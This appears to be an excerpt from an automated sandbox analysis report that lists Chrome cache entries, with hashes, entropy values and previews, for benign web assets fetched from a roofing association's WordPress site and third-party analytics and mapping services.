Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19961
Entropy (8bit):	5.132981182824026
Encrypted:	false
SSDEEP:	192:8a6MaHdrCIyp+END9qrfC6mGM2PiQjJHDrwd205Tqzprn0oma:yoRRgj9XZ+qzpv5
MD5:	FA0CD89BA95A735E4BA66983059E09DE
SHA1:	BBEF9B800E6A64FD05DDDE51D6E812B68EFE16EF
SHA-256:	DA7FF92B53BFD5C36E2FC1DDCC7B3115C51D10066210598AE0836A3C9D4FDEBB
SHA-512:	97A88FD320B7D90B3818C212124D810117BE9B59EB0D5A186191DC1F202363BB91C3D1BE7DD815C48C0D8AC3B75EAE6F7226C95F1DB0C467543F70FD74B185F0
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/jquery-collapse-o-matic/js/collapse.js?ver=1.7.2
Preview:	/!. Collapse-O-Matic JavaSctipt v1.7.0. * https://pluginoven.com/plugins/collapse-o-matic/. . Copyright 2021, Twinpictures. */..function collapse_init() {..//force collapse..jQuery('.force_content_collapse').each(function(index) {...jQuery(this).css('display', 'none');..});...//inital collapse..jQuery('.collapseomatic:not(.colomat-close)').each(function(index) {...var thisid = jQuery(this).attr('id');...jQuery('#target-'+thisid).css('display', 'none');..});...//inital swaptitle for pre-expanded elements..jQuery('.collapseomatic.colomat-close').each(function(index) {...var thisid = jQuery(this).attr('id');...if(jQuery("#swap-"+thisid).length > 0){....swapTitle(this, "#swap-"+thisid );...}...if(jQuery("#swapexcerpt-"+thisid).length > 0){....swapTitle("#excerpt-"+thisid, "#swapexcerpt-"+thisid);...}...jQuery('[id^=extra][id$='+thisid+']').each( function( index ){....if(jQuery(this).data('swaptitle')){.....old_swap_title = jQuery(this).data('swaptitle');.....old_title = jQuery(this).

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33230), with no line terminators
Category:	downloaded
Size (bytes):	33230
Entropy (8bit):	5.004755164117305
Encrypted:	false
SSDEEP:	768:yL4RywshdXwtdXkRhan24D1V6E6jVZsIJdG7DC8D28/:ykbugtdXihc2tG7Xn
MD5:	81F1DF6260CDD3A26635C96F2FE75BB2
SHA1:	7B09AE5BAC59981E83F31C9C570B5839471C830D
SHA-256:	277DC6E850DD5E48FAB1D78D28416A77B99C0375F91D33427C1C23A6958C59AB
SHA-512:	1ED6865CEA99BB8081CABEF95C3204E5E45749739B9963BB7CE5EA7CE1C072CDCF2A10EEDEE974308D9335423D76F27F683BB960506AB9B44B5C449ECF3109C4
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/essential-grid/public/assets/css/settings.css?ver=2.3.6
Preview:	.esg-starring{line-height:25px;display:inline-block}.esg-starring .star-rating{float:none}.esg-starring .star-rating{color:#ffc321!important}.esg-starring .star-rating,.esg-starring-page .star-rating{float:right;overflow:hidden;position:relative;height:1em;line-height:1em;font-size:1em;width:5.4em;font-family:star}.esg-starring .star-rating:before,.esg-starring-page .star-rating:before{content:"\73\73\73\73\73";color:#e0dadf;float:left;top:0;left:0;position:absolute}.esg-starring .star-rating span,.esg-starring star-rating span{overflow:hidden;float:left;top:0;left:0;position:absolute;padding-top:1.5em}.esg-starring .star-rating span:before{content:"\53\53\53\53\53";top:0;position:absolute;left:0}.esg-starring .star-rating{color:#ffc321!important}.lazyloadcover{position:absolute;top:0;left:0;z-index:10;width:100%;height:100%}.esg-lazyblur{background-repeat:no-repeat;filter:blur(25px);-webkit-filter:blur(25px);-moz-filter:blur(25px);background-size:cover;background-position:center cente

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1695
Entropy (8bit):	5.153035668172279
Encrypted:	false
SSDEEP:	48:S22YwVh8dze87xpdbkdpOr28ZQaOdBMJ8LMLsLIL7ALAL/ot8LwC:0Wdb+Or1ROYIqKWC+xd
MD5:	17EDDF348F63311F70E18593FF3513A6
SHA1:	9DC8FBACFEB0F001F88BEEB9BCD21EA498F55E98
SHA-256:	D074B6E6D44860A55F60783CF306426744C63207113F867ACC669AB7FD780073
SHA-512:	47E1FA2255F5110A53245D84511DF28BCB7EE691A1CD107492A87D047141D0E09644FAFE5F33A38C0DD3081E7113E46DE1BA0194DD68987BE4940DA693B8D3CB
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/css/floating-top-link.css?ver=1.0.5
Preview:	.FloatingTopLink a {. display: block;. width: 56px;. height: 56px;. line-height: 56px;. font-size: 24px;. text-align: center;. -webkit-border-radius: 50px;. border-radius: 50px;. background: #424242;. position: fixed;. bottom: 20px;. right: 30px;. color: #FFF;. -webkit-box-shadow: 1px 1px 2px 1px rgba(0, 0, 0, 0.3);. box-shadow: 1px 1px 2px 1px rgba(0, 0, 0, 0.3);. z-index: 2147483647;.}...FloatingTopLink a:hover,..FloatingTopLink a:focus,..FloatingTopLink a:active {. color: #fff;. background: #616161;.}...FloatingTopLink a:visited {. color: #fff;.}..@font-face {. font-family: "floating-top-link";. src: url('../fonts/floating-top-link.eot');. src: url('../fonts/floating-top-link.eot?#iefix') format('eot'),. url('../fonts/floating-top-link.woff2') format('woff2'),. url('../fonts/floating-top-link.woff') format('woff'),. url('../fonts/floating-top-link.ttf') format('truetype'),. url('../fonts/floating-top-link.svg#floating-top-link') format('svg');. fon

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.836793321702915
Encrypted:	false
SSDEEP:	48:iCLIm7nmFCKExO3Do3j1I7nE1B1RCgffs:9lnmFPDoZI7inffs
MD5:	2AF8EC16970A9312C73AB6312230392B
SHA1:	C6254EDBAC78950F156F5C6FA2F79DCFE565702C
SHA-256:	DFA5292D3E40A7DA166F6FCE1122351BCF7AF7C5CAE21A6DA34A7E9D59A03AC5
SHA-512:	4B5B50D03F8107B5B4A19C8D8FB0D4A8DCE11BE57A48A1D578E059D723CADB69DB5FA3EF1C7432ABC04183677284D8F2EDD7851AB7360B6031EFB73CFE71D666
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...................$PLTEf.<:.-u.Bc.;{.D{.D\|.D\|.D9.,8.,8.,\|.Dgz......tRNS.1+.Y.....#.....3IDATx..\[..0...=}....8..'.Iajk......._.Ar.........c.....(...9B.!.....:.....RJ)..6d..;..@..Vg.....qZ.3..J)...0.:........(#....J.x.?W>.Y...1\%X).&\.X_......J......WB.H,.....[.h../..+..X)E.H.z}.Y...L'...DH..~.H....D...Db..D..J).~..4......##-..H....,......,.H.M\|..........v......ik.C..eO.,.;.X.O..pm`...W.......[#).Z.I..a.Hp...e.....k........H.+.$...%..99.\|.....]..,.H....,...>B../.....A.9..r:......z..N%.\|..._l.m...x.v....!]imOo....3G..z..P..{y.;..'.]9.J.cY.>\S..L.........'y7x.X.S.....n>..U\.2v..okhL!..8\.Yv.m'...D........3.?\........s%..b..w.......^.y....dxG...#ZWF...4....e.}u...l..`.z..G.s.E.'..1.z...5.....8E7.f.=y..v\...2)..F.r..wr...nC..>....].].,.'.C..n...3..].u..\|....}.NW.STv.7..O.g..\..h..o.R..U....H...X.T.U.;l.927.H...fa..\|9P..R...........4..h)$......V.......?...pl&..T...^..d .;..^u~D.ny...........ltQ9.V.....'......Y.#.<b..O.t.Y.gs....

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4083
Entropy (8bit):	7.899503812596789
Encrypted:	false
SSDEEP:	96:GvCTo+B+aQTrIuzUO1ZSMTmzg9o/61m7+CAsRuSp:2C7ghIu4O1ZhTmzg9o/kmK/soSp
MD5:	87721E061B90FDEB023241BE762538D9
SHA1:	154AA38CB0B071593DB063268C4835DB8DBFB35C
SHA-256:	B3B7CF3CB394B8F881256F36A3789F9C4B1D356245D60345B2F8BEB862D89E5B
SHA-512:	6F1E2D7295E692ED0634C4B067DC37C56F7F6FFCA41FFFA6A6B3D344F81E74862FE71B9F6BDDAFBB1E6D87BB57EEF537F30F91B7956EFA17C31EDE0C779478BE
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24909!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=69732
Preview:	.PNG........IHDR.............k.XT....pHYs................3PLTE..................quy.................y..Umy....."+...fIDATx....b.(...ps.....}..q.$=6....i...'KB. .W.~.\|.b`(.-]7..\.^.......y..Y...K..S..6_.V....B....t........7?K..B.&.w..[Y..l.^k.e.\|I._.UudC...... .....oB.c....9.......@.q..;....o.c.x........:.0.~.....\|....(..O..4..Yx..........g....mV......!........G/h.q..P'...a"...P...@..yq..?....A...P".b...D0\|g..t6~I./..P.f....g...u0~[.[.{..'T ;...v..\|\|......"'h....h.....q....Sf..y1=8H...H....w/.z...:.).GU....?.iW/[.^...AU .uO... .....T.X..M..$?......t(....8..\|.<^._}3..{@?.\|a..AT.;.."?.47.'W....o.O..-..n.....\|!>..atyg..=.P.t...r.._......g.j.Uyo).6......I....O...b.g5iM...y..@.U..s...\|.<.uO.....,..xhG..M^./..k._.K.....<..o.$WU..U.\|L...y.w..#.*.v.?.......g.#./.....M~...%....m.',#a=..RN...K0....8:.....u....KU.U@.\M.R..k..7..z7f.^....R._.U@..]...d.....q.......8.RQ.9.R..&.....&...J&.-..L.... \|A~.I.....-...a..r....D7E,.).0..c....W...;..]y$.#O......

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 200, 1-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	122
Entropy (8bit):	5.082412377015247
Encrypted:	false
SSDEEP:	3:yionv//thPkJl/tktliRIBxXmkkNPgoOvFFoElllB1p:6v/lhPkJfktN3ItO3p
MD5:	86C58B484B48EAC285E131E8B55D2CE7
SHA1:	3D3EE4C137A6F36E5FBEE31E21A4D08F2C38D20E
SHA-256:	9603FFEB6772F1CF745E0097D5D6C046EAF16151E5BC521F20764BBA5DDB7713
SHA-512:	C664D3B397361CDD24AEDEF7A5DDB8B3BD6897830A9C38036BCF90C780C32369000736BC27351CC16818E9B675FB16A55528414995B712B6D5D78B223582F677
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,.........z.......tRNS.........3IDATx...1..... .......p3.XM.4M."M.4M.4M.4M.4M.4M....L$%......IEND.B`.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10435), with no line terminators
Category:	downloaded
Size (bytes):	10435
Entropy (8bit):	4.891488813512525
Encrypted:	false
SSDEEP:	192:WnCAp0Kgy72Mn8bICTRSNVjVi6Uh8jSj5wjvj0d78RYTODlOUnDlnj6Dl6wK4B4H:dCH/2Ij03ApODH7yT
MD5:	27A91498E22D4778E559DD13A12C6AB6
SHA1:	9868807CC628FAB1CC5CCB6F6C53934E6E9303B4
SHA-256:	4A25EB6972F4A513DA7EAD5D8C0F74832ED42B1AE5E1F13ED3EA36F0865A59C9
SHA-512:	5B02B02DB3BC24BE1626172EEE38338B2344473B7E1C97EBF439F7E6E1923EC046C5DB5458D638303891185F792614DFEDEC2D4D91669FE923F044D23DB6DF7C
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-vendors-style.css?ver=8.7.4
Preview:	.components-custom-select-control{position:relative}.components-custom-select-control__label{display:block;margin-bottom:8px}.components-custom-select-control__button{border:1px solid #757575;border-radius:2px;min-height:30px;min-width:130px;position:relative;text-align:left}.components-custom-select-control__button.components-custom-select-control__button{padding-right:24px}.components-custom-select-control__button:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-custom-select-control__button .components-custom-select-control__button-icon{height:100%;padding:0;position:absolute;right:0;top:0}.components-custom-select-control__menu{background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:400px;min-width:100%;outline:none;overflow:auto;padding:0;position:absolute;transition:none;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-contr

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	555
Entropy (8bit):	5.0900629490683205
Encrypted:	false
SSDEEP:	12:UeABBsB31o6T9u7s3ragBPUgIgOTQdU5E5jkuIeAqKteA3DeA3qAw3bGV6eA3qAY:Q3CFPT9u7AVB/pdrj1SqwzZBVEZaEQ
MD5:	8BBC3EDD156D2E5B93A66FCBE71C5BD1
SHA1:	FBB33E54AB05342922E3AC5F45CB8751C6652EA8
SHA-256:	AE25BCCE5F1FCA7CC47FDD8F78BD7834BB6B4594C445B756B89F0B7B00E9EAA1
SHA-512:	0D8D94CF8BC78013B242D4A6FAE9B23C27E763A7AC0E3AA85BB86A50D1307BCD5B5A796785EFDBE409A046E2FA7B2AF14448291274F75A2FC90FD15B303B70A7
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/wp125/wp125.css?ver=6.0.7
Preview:	/.Stylesheet for the WP125 ad management plugin.URL: http://www.webmaster-source.com/wp125-ad-plugin-wordpress/./.../* Styles for one-column display /.#wp125adwrap_1c { width:100%; }.#wp125adwrap_1c .wp125ad { margin-bottom:8px; }../ Styles for two-column display /.#wp125adwrap_2c { width:100%; }.#wp125adwrap_2c .wp125ad { width:125px; float:left; padding:4px; }../ Clearfix /..wp125clearfix {. zoom: 1;.}..wp125clearfix:before,..wp125clearfix:after {. display: table;. content: "";. line-height: 0;.}..wp125clearfix:after {. clear: both;.}

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fguide-for-homeowners&trace_id=bf6179459df44a838ca92764bac52c80&cts=2024-04-23T14%3A54%3A29.489Z&hit_id=98cb07df-c4a1-4d8f-bfb9-963d98631e8c&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1892096322&z=1718875793&tce=1713884064614&tcs=1713884064369&tdc=1713884069467&tdclee=1713884066972&tdcles=1713884066900&tdi=1713884066899&tdl=1713884065911&tdle=1713884064369&tdls=1713884064369&tfs=1713884064350&tns=1713884064347&trqs=1713884064614&tre=1713884066256&trps=1713884065905&tles=1713884069467&tlee=0&nt=navigate&LCP=4150&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	105517
Entropy (8bit):	5.168440818635134
Encrypted:	false
SSDEEP:	1536:MNgGXmR3kD2pDvHRHTqznrzV7Ml5WIRbbnAcx2YKPC33apVq9MzOOKRedd/R121l:MNDeqlDli
MD5:	FDF3F3C180AE2AA6864F9C46A83A37A9
SHA1:	59F698AF339AF479BC5447E5DA54778D909C7068
SHA-256:	E301943F5F3CB3486AB3F4C75C0315E96891268A76B8663B6A490324E39D1664
SHA-512:	43FC05B2DC21D163BD2154D098161D867A6CFEDD102978C618F467CDA1806D18F1881FEE37D3DA44687E75186BAD7E298AE6A11383F1D01007BDB4CE52AE91F0
Malicious:	false
Reputation:	low
URL:	https://img1.wsimg.com/signals/js/clients/scc-c2/scc-c2.min.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("scc-c2",[],e):"object"==typeof exports?exports["scc-c2"]=e():t["scc-c2"]=e()}(self,(()=>(()=>{"use strict";var t={d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};t.r(e);var n={};t.r(n),t.d(n,{_isDebug:()=>d,debug:()=>O,error:()=>g,info:()=>m,log:()=>m,setDebug:()=>b,warn:()=>w});var r={};t.r(r),t.d(r,{cmdLogEvent:()=>Fo,cmdLogPerf:()=>qo});var o,i,a,c,u,f=(o="",a={document:i=Object.create({get cookie(){return o},set cookie(t){o=t}})},c={},"undefined"==typeof window?{window:a,document:i,navigator:c}:{window:window\|\|a,document:window.document\|\|i,navigator:navigator\|\|c}),s=function(){return f.

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	203895
Entropy (8bit):	5.363405144952893
Encrypted:	false
SSDEEP:	1536:hyT+h/JSSwrIk1t0TKUY5xVwZJMlfpNyJjVr4a2wpKJlCQ/9FqBlxLnouxr9Fv3C:hF5sVtUYQaWw+Q/zwlVPJvOosrisD/T
MD5:	E4C5FA121123D5F02247BCC9DF18D092
SHA1:	89418C59F6EC6EC62215E9E3201C9BFADCEB8D33
SHA-256:	5422C028AA00C288C614B44DCFE26EED46B25DC82EA3D8256CCDD4BBE06ED9AC
SHA-512:	0C18B1222A581121704C3C442617E3B8AB77E35705224A55B88A3B6D2153DBCBCEB56F6949B65C7F0F282CFAA6CA8C5827F1798582325AC09CFB1ABC4AC8646B
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/polyfills.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[3],{"+2oP":function(t,e,r){"use strict";var n=r("I+eb"),o=r("6LWA"),i=r("aO6C"),a=r("hh1v"),s=r("I8vh"),c=r("B/qT"),u=r("/GqU"),f=r("hBjN"),l=r("tiKp"),p=r("Hd5f"),v=r("82ph"),h=p("slice"),d=l("species"),g=Array,y=Math.max;n({target:"Array",proto:!0,forced:!h},{slice:function(t,e){var r,n,l,p=u(this),h=c(p),b=s(t,h),m=s(void 0===e?h:e,h);if(o(p)&&(i(r=p.constructor)&&(r===g\|\|o(r.prototype))?r=void 0:a(r)&&null===(r=r[d])&&(r=void 0),r===g\|\|void 0===r))return v(p,b,m);for(n=new(void 0===r?g:r)(y(m-b,0)),l=0;b<m;b++,l++)b in p&&f(n,l,p[b]);return n.length=l,n}})},"+MnM":function(t,e,r){"use strict";var n=r("I+eb"),o=r("2oRo"),i=r("1E5z");n({global:!0},{Reflect:{}}),i(o.Reflect,"Reflect",!0)},"+nZW":function(t,e,r){"use strict";var n=r("I+eb"),o=r("mWGk");n({target:"Set",proto:!0,real:!0,forced:!r("2tJQ")("symmetricDifference")},{symmetricDifference:o})},"/5zm":function(t,e,r){"use strict";var n=r("I+eb"),o=r("jrUv"),i=Math.cosh,a=Math.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @8x8
Category:	downloaded
Size (bytes):	326
Entropy (8bit):	2.5620714588910247
Encrypted:	false
SSDEEP:	6:Gl/0puls6M94pTiI+mBURd8EOJlZa8BBL:C0pqs6M94pTJyOZ77
MD5:	FEFF9159F56CB2069041D660B484EB07
SHA1:	0D0A08CF25A258511957F357B89D3908F3C5E6E3
SHA-256:	7342F390B12F636D14E25F698FC5E38CF6240994DC0C07FEFBBB4E78EC4D03C7
SHA-512:	F850277F48AC14FA363265469776E6F7F07F7DD743AA1D1AD7CF2329EEE6D323DA3422CF6BAAC066C84ECD24800A02088053EF3FC0488D170E7FC942AC8FFA99
Malicious:	false
Reputation:	low
URL:	https://maps.gstatic.com/mapfiles/openhand_8_8.cur
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3936
Entropy (8bit):	4.776564582314072
Encrypted:	false
SSDEEP:	48:oReixMhtSsoKmddaliJ5eva1z1dTL2cMdh:UEfSB/JTU0dn2X
MD5:	1468E256B620523E8D9CE6362C0A348F
SHA1:	C3E68DD0FAEC74B59BEBA9A4A9ED57B44BD4EEBD
SHA-256:	2D23372AB351B294CF3D11A910E5C420BD4628EB29DAE15014D2742CEA2E61BF
SHA-512:	AC5D2DFE37F64A694C87858A1BB2CD7F84EFF21A64F7B588C64B3326552086DA258F92BFC67B14A76B1C186B5258151B6C0EF88DEEFEC6C1E792249136295B6E
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.datepicker.css
Preview:	/* Datepicker.----------------------------------*/..ui-datepicker { width: 17em; padding: .2em .2em 0; }..ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; }..ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; }..ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; }..ui-datepicker .ui-datepicker-prev { left:2px; }..ui-datepicker .ui-datepicker-next { right:2px; }..ui-datepicker .ui-datepicker-prev-hover { left:1px; }..ui-datepicker .ui-datepicker-next-hover { right:1px; }..ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; }..ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; }..ui-datepicker .ui-datepicker-title select { float:left; font-size:1em; margin:1px 0; }..ui-datepicker

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 20 x 864, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	302
Entropy (8bit):	6.664673587335054
Encrypted:	false
SSDEEP:	6:6v/lhPaW/+9MzME4rQxqxyIDDDLIfVLptyKlvFuAawxKRNqIpgIkYp:6v/7yn9MzR4Cq/DDLItLjdNu2xKR4Ip1
MD5:	5DA5C25450457A8E5DAD4B7F482A2EAC
SHA1:	908DDE9F709B1DABE7836D5DAAA52F7732D103FB
SHA-256:	0DAD2C74716DECC62A1C93046D8C82485EAB6EF0316B0C953D292CD67669122F
SHA-512:	DD818BDAB1B1117DF85753C27B186C3A918D7F0CCAAD313C1403B22DC70B345C53EB7EE1D56E1E1F1F93E84422914E2ECF125115A90F3A613549F07004B39320
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/images/repeat-x-sprite-sheet.png
Preview:	.PNG........IHDR.......`............IDATx...N.P....@.u1..q..W/CMi.....?.P.y...)....d...k-.TW...B.P(...B.P(...B.P(...B.P(......X....w...f....I..2d.9.Y\&..(m......q....$.p....q.x\..........czKr.1S.O..w.3.+iy:L.........+..z..........4p.S_5\n.;Z....X...................Q.s-..K-..1.VmH.......IEND.B`.

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34217)
Category:	downloaded
Size (bytes):	34399
Entropy (8bit):	4.8846438367170535
Encrypted:	false
SSDEEP:	192:WP6cb0bcx4cgVU92oIGDE8Kcsy1KsF7ndtgMn+I1zTV3c8jevMykD:Vczx4cgVfLGDEbK1J7nd71tXjevMyw
MD5:	FFB96099720DDE6483D7CAB290C543EE
SHA1:	1A6ECE8EEE36923D795CDF78674B47E7F1B8E94F
SHA-256:	CDFDF586F38CFB19C6264343CC6A64ADCE7FF0961834E96A2F912F01DC29E3F0
SHA-512:	2DD72F92CCDDE1AA2CD10F9A0FB05F29C67DBF3CE48374A2122DCDF514B2C48895B2CE1A6A8A246B2EA0F37FCE8CFE8C7221EAD3309DF3E9B61227428D23857F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/v4-shims.min.css?ver=6.1
Preview:	/!. Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:'Font Awesome 5 Brands';font-weight:400}.fa.fa-star-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-remove:before{content:"\f00d"}.fa.fa-close:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:'Font Awesome 5 Free';font-weight

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884034686
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.516320044080175
Encrypted:	false
SSDEEP:	24:TZXF989AuKcrMI0dRR98N/9v8RSst8xgP2pC6wgWiU0t4HdZzY7c0sA7i6U:TZF986ZI0bP8F1gA9xU0+H3zY7CAi
MD5:	4F60C4FDC0671EF3B124B9C8B67D1075
SHA1:	8D4139D9E419B10E9D59DEE9C02A23D5C4AAC5EF
SHA-256:	215331CB07A1497D9CA0CA291879483354AA4C6DEA214552F7AB7E10BE215DC5
SHA-512:	1F2758538DCD5D50E5313B1B0B242746F36CFB82BEB57B678E54675790F076B342D3971591AFBB42E38F583E441FA86E8C38CE795DD07C130CED9109DF3BB985
Malicious:	false
Reputation:	low
